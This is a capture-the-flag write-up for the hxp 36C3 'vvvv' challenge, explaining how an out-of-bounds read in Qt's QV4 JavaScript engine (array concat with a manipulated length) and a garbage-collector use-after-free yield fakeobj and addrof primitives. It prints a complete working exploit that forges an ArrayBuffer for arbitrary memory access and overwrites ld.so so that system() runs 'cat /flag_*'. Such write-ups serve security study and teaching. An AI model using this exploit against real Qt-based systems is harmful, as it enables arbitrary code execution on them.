# hxp 36C3 CTF: vvvv

###### zahjebischte, pwn (909 points, 2 solves)

> The _other_ other JavaScript engine.  
>  
> Download: [vvvv-
> cc9085ea51e239dc.tar.xz](https://2019.ctf.link/assets/files/vvvv-
> cc9085ea51e239dc.tar.xz) (11.3 KiB)  
> Connection: `nc 88.198.156.11 13336`

\- Qt ships with a custom JavaScript engine called QV4, in which it runs all
of  
its QML-related JS code (it also ships with JavaScriptCore, because of  
QtWebKit, and with V8 for QtWebEngine, but because those both form parts of  
major browsers, QV4 is the less known target here).

\- A developer build of QV4 will generally include the `qmljs` tool that runs  
JavaScript files directly, even without any of the QML features. This is the  
mode that is used here to avoid any of Qt's "special features" causing issues  
(after all, there are fun things like `Qt.openUrlExternally` that we would  
need to take care of if QML was enabled). Note that there are still a few  
extensions present (e.g. `String.prototype.arg`), but a cursory inspection  
reveals no straightforward vulnerabilities.

\- You should also know that the release build of Qt does _not_ check
`Q_ASSERT`  
statements. This may come in handy, although it is not always necessary.

\- I modified [Fuzzilli](https://github.com/googleprojectzero/fuzzilli) to  
interface with `qmljs` in order to find the bug(s) used here. My fork is  
available [here](https://github.com/tobiasholl/fuzzilli).  
Unfortunately,`qmljs` also crashes for pretty much any operation on overly  
large arrays (especially `includes`), and whenever converting a recursive  
array to a string, so the fuzzer spits out a whole lot of crashes with  
little useful content. (My implementation also appears to not cleanly reset  
the engine after every test, but thankfully the fuzzer separates reproducible  
and non-reproducible crashes. Nevertheless, there are some crashes that do  
not occur when run manually...). I also found some bugs manually that result  
in an overflow on the VM stack, but the guard pages combined with an  
almost-instant crash mean that I found no way to exploit these crashes.

\- The exploit follows the "standard" path via `fakeobj` and `addrof`
primitives  
(see [this](http://www.phrack.org/papers/attacking_javascript_engines.html)),  
by creating a user-controlled `ArrayBuffer` with a manipulated size that  
allows read and write access to arbitrary memory locations.

\- Unfortunately, QV4's lack of optimizations make this remarkably annoying.  
Unlike in JSC or V8, there is only one way that objects are represented in  
memory: as tagged values. A pointer will _almost always_ have a different  
tag in memory than a double, so converting between the two is difficult.  
The way this works is documented in `qv4value_p.h`: On a normal 64-bit  
machine (excluding IA64, but that can hardly be considered "normal" nowadays)  
the _actual_ maximum pointer length is 48 bits, so QV4 generally uses the  
top 16 bits to indicate the type of the value stored. For pointers, it just  
leaves these 16 bits empty. Because that overlaps with valid IEEE754 doubles,  
it normally mangles doubles by XORing them with `0xffff800000000000`.

\- One odd place in which this doesn't happen is for the `Number` object  
(internally represented by a `QV4::NumberObject`), which ends up storing its  
value as a C++ `double`, rather than the mangled form normally used by QV4.  
This allows us to combine a read of uninitialized (or rather non-cleared)  
memory into a quick `fakeobj` primitive (note that running garbage collection  
after creating the fake object even by accident will result in a crash).

\- Such a read occurs when `concat`enating an array with a manipulated length  
(set by assigning to its `length` property) to a normal array. This (unlike  
the normal array access) does not verify that enough space was allocated to  
contain entries for the updated length, so when copying objects from the  
modified array into the new array, it reads outside of the bounds of the  
array's storage and copies heap objects (allocated with `QV4::MemoryManager`,  
so no fancy heap exploitation yet) from previous allocations to the new  
array. Creating and copying a few `Number` objects (in theory, a single one  
should be enough) allows using its `double` member to craft a `QV4::Value` by  
simply accessing the new array at the index it was copied to.  
  
```javascript  
function allocNumbers(addrDouble) {  
for (let i = 0; i < 10; ++i) {  
// TypedArrays are created on the normal heap :(  
// String objects refer to the Heap::String only by reference :(  
// Heap::String objects only store a pointer to a QString (which also is
UTF16) :(  
// DateObject fails on TimeClip :(  
// ...but NumberObject will do the job :D  
const n = new Number(addrDouble);  
}  
}  
function fakeobj(addrDouble) {  
// NB that this fakes an actual QV4::Object at this address, not the
underlying heap structure.  
// This is somewhat unfortunate because that means that unless you can leak
the address of a  
// controlled buffer (and control the memory at the faked address), you will
not be able to set  
// up a valid data pointer.  
const v4 = [1337,1337,1337];  
const v7 = [1337,1337];  
allocNumbers(addrDouble);  
v7.length = 1337;  
const v9 = v4.concat(v7);  
// gc(); // Uncomment this to trigger a crash here. To show the buffer in GDB:
f 4; x/1340ag values  
var fake = v9[11];  
// Unsure if this cleanup is really necessary - GC will crash anyways because
of the fakeobj:  
for (var i = 0; i < v9.length; ++i)  
v9[i] = 1337;  
return fake;  
}  
```

\- Unfortunately, this OOB copy/read does not directly lead to a
straightforward  
way to turn a pointer back into a usable number. Because allocations are  
generally sequential (see `QV4::BlockAllocator::allocate`), pointers to  
objects will almost never point into the newly allocated array space. (At  
this point, it may be useful to note that I spent a whole lot of time trying  
to find incorrect uses of `QV4::Value::doubleValue` or related functions that  
would leak even partial addresses, but unfortunately got nowhere. This  
includes calls that were only guarded with `Q_ASSERT` instead of a proper  
conditional. The only really interesting "wrong" use of `Q_ASSERT` is in  
`QV4::Runtime::method_objectLiteral`, but the objects that are accessed there  
appear to be generated by the VM, and are not user-controllable. It is also  
questionable whether that path would actually be exploitable given that the  
function does not directly report the result of the conversion.

\- Analyzing the source code for the memory manager reveals that there is a
way  
to obtain an allocation below the current end of the allocated space: If the  
allocation is smaller than 224 bytes and the relevant `freeBin` contains an  
element, it uses that spot instead of the fallback bump allocator. Another  
scenario is far less likely: the allocation must hit at the exact time where  
the current chunk is out of memory _and_ there is a large enough free block  
in any one of the bins. Of course, this strategy requires finding a way to  
place an item into one of the bins, and the only way to achieve this is to  
run a full GC pass (which thankfully can be triggered by running `gc()` from  
the JavaScript code).

\- A GC pass seems fairly simple. It consists of two phases: _mark_ and
_sweep_  
(see the source code for `QV4::MemoryManager::runGC`). In the marking phase,  
the garbage collector iterates through all sorts of objects that it can find  
(including objects held by the engine, such as its classes, identifiers, and  
compilation units, objects on the stack, and certain persistent objects that  
ought to be treated differently), and _marks_ any `QV4::Heap::Base` objects  
(in general, this will be anything stored on the QV4 heap) by pushing them to  
a special `MarkStack`. This stack is limited in size, and will be drained  
prematurely whenever it reaches that limit, but certainly at the end of the  
marking phase. During this draining step, the GC pops items from the mark  
stack one by one, and looks up the type-specific marking functions in their  
vtable, then instructs the object to mark itself. (This amount of indirection  
is a common pattern in QV4, to the detriment of anyone who is actually trying  
to understand what is going on). The magic ultimately happens for every heap  
item in `QV4::Heap::Base::mark`, where the lowest layer of objects is marked.  
Each chunk of memory carries a set of bitmaps, in which a slot can be marked  
_gray_ or _black_ (there is also a bitmap indicating the start of a new heap  
object (the _object_ or _in use_ bitmap), and a bitmap indicating that the  
memory slot in question is part of a large allocation of a previous heap  
object (the _extends_ bitmap, in which a bit is set to 0 both for free areas  
and for the starts of objects). Here, the _black_ bitmap is the most  
interesting (the _gray_ bitmap appears to be mostly unused, and the others  
just keep track of free space). Objects marked in this phase (or rather their  
starting slots, as found in the object bitmap) are added to the black  
bitmap. During sweeping, some necessary cleanup of unmarked objects is  
performed (such as removing them from `WeakSet` instances), before finally  
the different allocators are asked to sweep their memory. Again, we deal with  
the `QV4::BlockAllocator`: During sweeping, it first sweeps each of its  
chunks, and partitions them into non-empty and empty chunks. Empty chunks are  
freed entirely (and ultimately released to the OS), while non-empty chunks  
are instructed to re-build the allocator's `freeBin` list. Sweeping a chunk  
looks complicated, but is actually not that bad. All it does, in so much bit  
magic, is find entries in the object bitmap that are not set in the black  
bitmap. For these objects, it looks up the vtable, and (if appropriate)  
destroys them. Finally, it updates the extends bitmap, and copies the black  
bitmap over the object bitmap to mark these slots as unused. It is important  
to note here that freed memory is not necessarily cleared. Refilling the  
free lists occurs in `QV4::Chunk::sortIntoBins`. To do so, the GC iterates  
over the _object_ and _extends_ bitmaps (in 64-bit blocks, just as for the  
chunk sweeping process), finds consecutive zeroes in the bitmap, and adds the  
corresponding `QV4::HeapItem` to the `freeBin` of the correct size. In doing  
so, it overwrites the heap item's first two qwords with a pointer to the next  
free item in the `freeBin`, and the number of free slots available here.

\- Using the GC, it is possible to construct a UaF that _finally_ allows
leaking  
the address of an arbitrary object. In order to achieve this, we construct  
the following environment: The target of our OOB copy is followed by three  
contiguous heap objects that will be freed simultaneously in order to not  
corrupt at least one (each heap object consists of a pointer to its  
`InternalClass`, a pointer to its `MemberData`, and a pointer to its  
`ArrayData`, followed by any type-specific members; it is important for us to  
keep the `InternalClass` pointer valid, because otherwise frequently-used  
simple operations such as `isObject()` will result in a crash). In our case,  
the second object will be a `QV4::Heap::NumberObject`, containing the actual  
value as a C++ `double` as its fourth qword. Behind this, then, follows some  
other object (presumably an array) that references the number - the copy of  
this object will give us access to our UaF. In order to keep the allocation  
sizes managable, we insert blocker elements that we keep alive beyond the end  
of the function call by returning an array containing these elements. The  
next step is to free the objects in question by calling `gc()`. Then, the  
OOB copy yields a snapshot of a full `QV4::Heap::NumberObject` _and_ a  
reference to the heap location. We then overlap the freed allocation with a  
new array's `QV4::Heap::SimpleArrayData`, reconstruct the `NumberObject`, and  
replace its `double` value with the object in question. That should give us  
access to any other object's address. To avoid crashing on GC, we zero out  
both the newly allocated array and the copied array.

```javascript  
function setUpHeap() {  
// This may not work reliably, especially after running a lot of code.  
// Allocate three heap objects consecutively, and reference them in an array.  
// 2261634.5098039214 should end up represented as 0x4141414141414141,  
// 156842099844.51764 as 0x4242424242424242. Use this to verify allocations in
GDB.  
// To subdivide the space into the correct sizes, we use blocker elements that
will not  
// be freed by the garbage collector.  
const n1 = new Number(2261634.5098039214);  
const n2 = new Number(2261634.5098039214);  
const n3 = new Number(2261634.5098039214);  
const blocker1 = new Number(156842099844.51764);  
const objs = [n1, n1, n1, n1, n2, n2, n2, n2, n3, n3, n3, n3];  
const blocker2 = new Number(156842099844.51764);  
// ...and instantly make sure they are no longer referenced, _except_ the
blockers.  
return [blocker1, blocker2];  
}  
function addrof(obj) {  
const v4 = [1337, 1337, 1337];  
const v7 = [1337, 1337];  
const blockers = setUpHeap(); // Set up the heap for GC.  
gc(); // Collect garbage in order to set up the allocator  
v7.length = 1337;  
const v9 = v4.concat(v7); // Copy/OOB read  
// Create a new array to overlap with the old NumberObject  
const overlap = new Array(16);  
// Copy the NumberObject back, and overwrite its value with the pointer to the
object  
for (let i = 0; i < 3; ++i)  
overlap[3 + i] = v9[16 + i];  
// Overwrite the value with the object in question  
overlap[6 /* base (3) + i (3) */] = obj;  
// Get the reference to the NumberObject and instantly turn it into a
primitive value  
const number = v9[57].valueOf();  
// Clean up for GC  
for (let i = 0; i < v9.length; ++i)  
v9[i] = 0;  
for (let i = 0; i < overlap.length; ++i)  
overlap[i] = 0;  
// Return the address  
return number;  
}  
```

\- To build the final exploit, we modify the address leak slightly in order to  
_also_ include an `ArrayBuffer` JavaScript object in the OOB copy. In order  
to defeat ASLR, we make the allocation large enough (>= 128 KiB), so that the  
underlying `QArrayData` (which, unlike the rest of QV4, uses `malloc` instead  
of falling back to page- and therefore `mmap`-based allocators that appear to  
come straight from JavaScriptCore) falls back to `mmap` too. We can leak the  
address of that `QArrayData` object (which is just the 24-byte header before  
the actual `ArrayBuffer` data), and the address of the `ArrayBuffer`'s  
`InternalClass` (which we need to create a "valid" fake object). We also need  
some helper functions to deal with 64-bit integers, because unlike modern  
browser JS engines, QV4 does not include the `BigInt` type.

\- Setting up the actual object in the `ArrayBuffer` is straightforward: We  
spoof a `QV4::Heap::ArrayBuffer` object at the start of the buffer  
(consisting of the leaked internal class, empty member and array data fields,  
and a pointer to the next qword in the buffer that will contain a fake  
`QArrayData` object), and follow that with the `QArrayData` (useful tip:  
`ptype /o QArrayData` in GDB spits out all the types and offsets). In theory,  
there should also be an `isShared` boolean after the pointer, but its value  
doesn't matter to us, so we just use whatever the `QArrayData` puts there...

\- A `QArrayData` contains a reference count (set this large enough so that it  
never goes away), the size of the array in bytes (as a signed 32-bit  
integer), the size of the allocation in a 31-bit bitfield (from testing, the  
`alloc` member tends be exactly one larger than the `size`, so we use a  
maximum size of `0x7ffffffe`), a 4-byte hole, and _finally_ the offset to the  
data (which in all but the most general case is just `sizeof(QArrayData)`,  
i.e. 24). Using `fakeobj` (plus some heap massaging in order to make sure the  
`NumberObject` is actually copied), we obtain the fake `QV4::ArrayBuffer`,  
and create a `Float64Array` and a `Uint8Array` for easier handling.

\- The `QArrayData` is perfectly positioned to overwrite into `ld.so` (and  
indeed is at a constant offset from the same), so we can easily reuse the  
[Wiedergänger](https://github.com/kirschju/wiedergaenger) attack by filling  
in the function pointer using the `Float64Array`, and the argument by using  
the `Uint8Array`.

\- Upon termination, `qmljs` will now pop a shell or run your favorite
command.  
We just `cat /flag_*` to get the flag.

Here is the full exploit code:

```javascript  
'use strict';

// QV4 does not actually support 64-bit integers, so we need to do some little
tricks here  
let conversionBuffer = new ArrayBuffer(8);  
let conversionF64 = new Float64Array(conversionBuffer);  
let conversionU32 = new Uint32Array(conversionBuffer);

let I64 = {  
MASK: 0xFFFFFFFF,  
from: function (u, l) {  
if (l === undefined) {  
// I64.from(i32) should be the same as I64.from(0, i32).  
l = u;  
u = 0;  
}  
if (u > I64.MASK || u < 0 || l > I64.MASK || l < 0)  
throw RangeError('Invalid pieces for I64');  
return { upper: u, lower: l };  
},  
add: function (a, b) {  
if (typeof a === "number") a = I64.from(a);  
if (typeof b === "number") b = I64.from(b);  
let lowerSum = a.lower + b.lower;  
let carry = lowerSum > I64.MASK ? 1 : 0;  
if (carry) lowerSum = (lowerSum - 1) - I64.MASK;  
let upperSum = a.upper + b.upper + carry;  
if (upperSum > I64.MASK) upperSum = (upperSum - 1) - I64.MASK;  
return I64.from(upperSum, lowerSum);  
},  
sub: function (a, b) {  
if (typeof a === "number") a = I64.from(a);  
if (typeof b === "number") b = I64.from(b);  
let lowerDiff = a.lower - b.lower;  
let borrow = lowerDiff < 0 ? 1 : 0;  
if (borrow) lowerDiff = (lowerDiff + 1) + I64.MASK;  
let upperDiff = a.upper - b.upper - borrow;  
if (upperDiff < 0) upperDiff = (upperDiff + 1) + I64.MASK;  
return I64.from(upperDiff, lowerDiff);  
},  
}

function toF64(i) {  
// Flip items around, because little endian, and we want hex to be as natural
as possible  
conversionU32[0] = i.lower;  
conversionU32[1] = i.upper;  
return conversionF64[0];  
}  
function toI64(f64) {  
conversionF64[0] = f64;  
return I64.from(conversionU32[1], conversionU32[0]);  
}  
function toHexString(i) {  
let upperStr = i.upper.toString(16).padStart(8, '0');  
let lowerStr = i.lower.toString(16).padStart(8, '0');  
return '0x' + upperStr + lowerStr;  
}

// Here are our general-purpose fakeobj() and addrof() primitives, and the
helpers for them.  
// We don't actually end up using addrof() itself (we have a slightly more
specialized version  
// further down that does some additional introspection that makes it easier
to create a fake  
// object), but I left it in anyways for reference.  
function allocNumbers(addrDouble) {  
for (let i = 0; i < 10; ++i) {  
// TypedArrays are created on the normal heap :(  
// String objects refer to the Heap::String only by reference :(  
// Heap::String objects only store a pointer to a QString (which also is
UTF16) :(  
// DateObject fails on TimeClip :(  
// ...but NumberObject will do the job :D  
const n = new Number(addrDouble);  
}  
}  
function fakeobj(addrDouble) {  
// NB that this fakes an actual QV4::Object at this address, not the
underlying heap structure.  
// This is somewhat unfortunate because that means that unless you can leak
the address of a  
// controlled buffer (and control the memory at the faked address), you will
not be able to set  
// up a valid data pointer.  
const v4 = [1337,1337,1337];  
const v7 = [1337,1337];  
allocNumbers(addrDouble);  
v7.length = 1337;  
const v9 = v4.concat(v7);  
// gc(); // Uncomment this to trigger a crash here. To show the buffer in GDB:
f 4; x/1340ag values  
var fake = v9[11];  
// Unsure if this cleanup is really necessary - GC will crash anyways because
of the fakeobj:  
for (var i = 0; i < v9.length; ++i)  
v9[i] = 1337;  
return fake;  
}

function allocateLotsOfStuff(count) {  
// To make addrof and fakeobj more reliable, allocate lots of objects of each
size in order  
// to use up the freebins and go back to bump allocation. Each new array
allocates  
// a control block of size 0x40, plus space for the array data.  
// The allocations are set up in a way that ensures that we use up all
possible freebins  
// (except the one for a single 0x20 slot, which no object appears to cover,
but which is  
// not needed for addrof anyways).  
let objects = new Array(6 * count);  
for (let i = 0; i < 6 * count; i += 6) {  
objects[i + 0] = new Number(0); // 0x40  
objects[i + 1] = new RegExp('.*'); // 0x60 (+ 0x40)  
objects[i + 2] = new Array(8); // 0x80 (+ 0x40)  
objects[i + 3] = [0, 0, 0, 0, 1, 1, 1, 1, 2, 2, 2, 2]; // 0xa0 (+ 0x40)  
objects[i + 4] = new Array(12); // 0xc0 (+ 0x40)  
objects[i + 5] = [0, 0, 0, 0, 1, 1, 1, 1, 2, 2, 2, 2, 3, 3, 3, 3, 4, 4, 4, 4];
// 0xe0 (+ 0x40)  
}  
return objects;  
}  
function setUpHeap() {  
// This may not work reliably, especially after running a lot of code.  
// Allocate three heap objects consecutively, and reference them in an array.  
// 2261634.5098039214 should end up represented as 0x4141414141414141,  
// 156842099844.51764 as 0x4242424242424242. Use this to verify allocations in
GDB.  
// To subdivide the space into the correct sizes, we use blocker elements that
will not  
// be freed by the garbage collector.  
const n1 = new Number(2261634.5098039214);  
const n2 = new Number(2261634.5098039214);  
const n3 = new Number(2261634.5098039214);  
const blocker1 = new Number(156842099844.51764);  
const objs = [n1, n1, n1, n1, n2, n2, n2, n2, n3, n3, n3, n3];  
const blocker2 = new Number(156842099844.51764);  
// ...and instantly make sure they are no longer referenced, _except_ the
blockers.  
return [blocker1, blocker2];  
}  
function addrof(obj) {  
const v4 = [1337, 1337, 1337];  
const v7 = [1337, 1337];  
const blockers = setUpHeap(); // Set up the heap for GC.  
gc(); // Collect garbage in order to set up the allocator  
v7.length = 1337;  
const v9 = v4.concat(v7); // Copy/OOB read  
// Create a new array to overlap with the old NumberObject  
const overlap = new Array(16);  
// Copy the NumberObject back, and overwrite its value with the pointer to the
object  
for (let i = 0; i < 3; ++i)  
overlap[3 + i] = v9[16 + i];  
// Overwrite the value with the object in question  
overlap[6 /* base (3) + i (3) */] = obj;  
// Get the reference to the NumberObject and instantly turn it into a
primitive value  
const number = v9[57].valueOf();  
// Clean up for GC  
for (let i = 0; i < v9.length; ++i)  
v9[i] = 0;  
for (let i = 0; i < overlap.length; ++i)  
overlap[i] = 0;  
// Return the address  
return number;  
}

// In our exploit, we specifically want the address of the QArrayData backing
an ArrayBuffer.  
// To make exploitation easier (and avoid the nondeterministic "features" of
the allocator),  
// we make it large enough to make malloc use mmap instead.  
// This duplicates much of addrof.  
function mmapBufferAndFindAddress() {  
const SIZE_REQUIRED = 128 * 1024; // As long as the total allocation size is
larger than 128KiB...  
const v4 = [1337, 1337, 1337];  
const v7 = [1337, 1337];  
const blockers = setUpHeap(); // Set up the heap for GC.  
const buffer = new ArrayBuffer(SIZE_REQUIRED); // Place the ArrayBuffer on the
heap  
gc(); // Collect garbage in order to set up the allocator  
v7.length = 1337;  
const v9 = v4.concat(v7); // Copy/OOB read  
// Create a new array to overlap with the old NumberObject  
const overlap = new Array(16);  
// Copy the NumberObject back  
for (let i = 0; i < 3; ++i)  
overlap[3 + i] = v9[16 + i];  
// Overwrite the value with the QArrayData pointer of the ArrayBuffer  
overlap[6 /* base (3) + i (3) */] = v9[95];  
// Get the reference to the NumberObject and instantly turn it into a
primitive value  
const arrayDataAddr = v9[57].valueOf();  
// Do the same thing for the ArrayBuffer's InternalClass  
overlap[6] = v9[92];  
const internalClassAddr = v9[57].valueOf();  
// Clean up for GC  
for (let i = 0; i < v9.length; ++i)  
v9[i] = 0;  
for (let i = 0; i < overlap.length; ++i)  
overlap[i] = 0;  
// Return the addresses and the buffer  
return [buffer, arrayDataAddr, internalClassAddr];  
}

function exploit() {  
const [buffer, arrayDataAddr, internalClassAddr] = mmapBufferAndFindAddress();

// Create a fake ArrayBuffer object within our buffer.  
// The arrayDataAddr points to the actual QArrayData, so our data starts 24
bytes afterwards.  
// The pointer to our fake buffer of "unlimited" length has to be another 32
bytes beyond that.  
const fakeBufferObjAddr = I64.add(toI64(arrayDataAddr), 24);  
const fakeBufferDataAddr = I64.add(fakeBufferObjAddr, 32);  
const fakeBufferContentsAddr = I64.add(fakeBufferDataAddr, 24);

const overlay = new Float64Array(buffer);  
// Fake buffer object  
overlay[0] = internalClassAddr;  
overlay[1] = 0.0;  
overlay[2] = 0.0;  
overlay[3] = toF64(fakeBufferDataAddr);  
// Fake QArrayData; NB that size is signed 32 bits  
const FAKE_SIZE = 0x7FFFFFFE;  
overlay[4] = toF64(I64.from(FAKE_SIZE /* size */, 0x42 /* refcount */));  
overlay[5] = toF64(I64.from(0, FAKE_SIZE + 1 /* capacityReserved (1 bit) :
alloc (31 bits) */))  
overlay[6] = toF64(I64.from(24 /* offset */));

// fakeobj is slightly heap-sensitive too (the NumberObjects need to end up
_behind_ the  
// OOB copy), so fill up open slots in the heap's freelist.  
const heapBlock = allocateLotsOfStuff(8);

// Create fake buffer object and U8 overlay  
const fakeBuffer = fakeobj(toF64(fakeBufferObjAddr));  
const fakeU8 = new Uint8Array(fakeBuffer);  
const fakeF64 = new Float64Array(fakeBuffer);

// Perform Wiedergänger attack. Here is where all the platform-specific
constants come in.  
const OFFSET_TO_LD = 0x3ecafd8; // This is the only part that is somewhat
fragile...  
const LD_TO_LIBC = 0x11f0000; // Subtract this.  
const LIBC_SYSTEM_OFFSET = 0x491c0;  
const LD_FUNCTION_PTR_OFFSET = 0x2bf00;  
const LD_ARGUMENT_OFFSET = 0x2b908;

const ldso = I64.add(fakeBufferObjAddr, OFFSET_TO_LD);  
const libc = I64.sub(ldso, LD_TO_LIBC);  
const system = I64.add(libc, LIBC_SYSTEM_OFFSET);

let fpIndex = I64.sub(I64.add(ldso, LD_FUNCTION_PTR_OFFSET),
fakeBufferContentsAddr);  
if (fpIndex.upper)  
throw new RangeError('Offset is too large to handle');  
fpIndex = fpIndex.lower >>> 3; // We use floats to fill this  
fakeF64[fpIndex] = toF64(system);

let argIndex = I64.sub(I64.add(ldso, LD_ARGUMENT_OFFSET),
fakeBufferContentsAddr);  
if (argIndex.upper)  
throw new RangeError('Offset is too large to handle');  
argIndex = argIndex.lower;  
let arg = 'cat /flag_*';  
for (let i = 0; i < arg.length; ++i)  
fakeU8[argIndex + i] = arg.charCodeAt(i);  
fakeU8[argIndex + arg.length] = 0;  
}

exploit();  
```

If you host this outside of the Docker container, you will most likely have  
to adjust the `OFFSET_TO_LD` and `LD_TO_LIBC` variables, regardless of whether
you use  
the same glibc version. If you change the glibc version, you may also need to
change  
the other constants.

This leaks the flag without any ASLR bruteforcing or other shenanigans
(remember that  
`mmap` allocates memory somewhat sequentially, so that offsets are constant
regardless  
of ASLR):

```  
hxp{QV4,_JSC,_V8..._Wh4t_0n_34rth_d035_Qt_n33d_THR33_J4v45cr1pt_3n61n35_f0r???}  
```  

Original writeup (https://hxp.io/blog/62/hxp-36C3-CTF-vvvv/).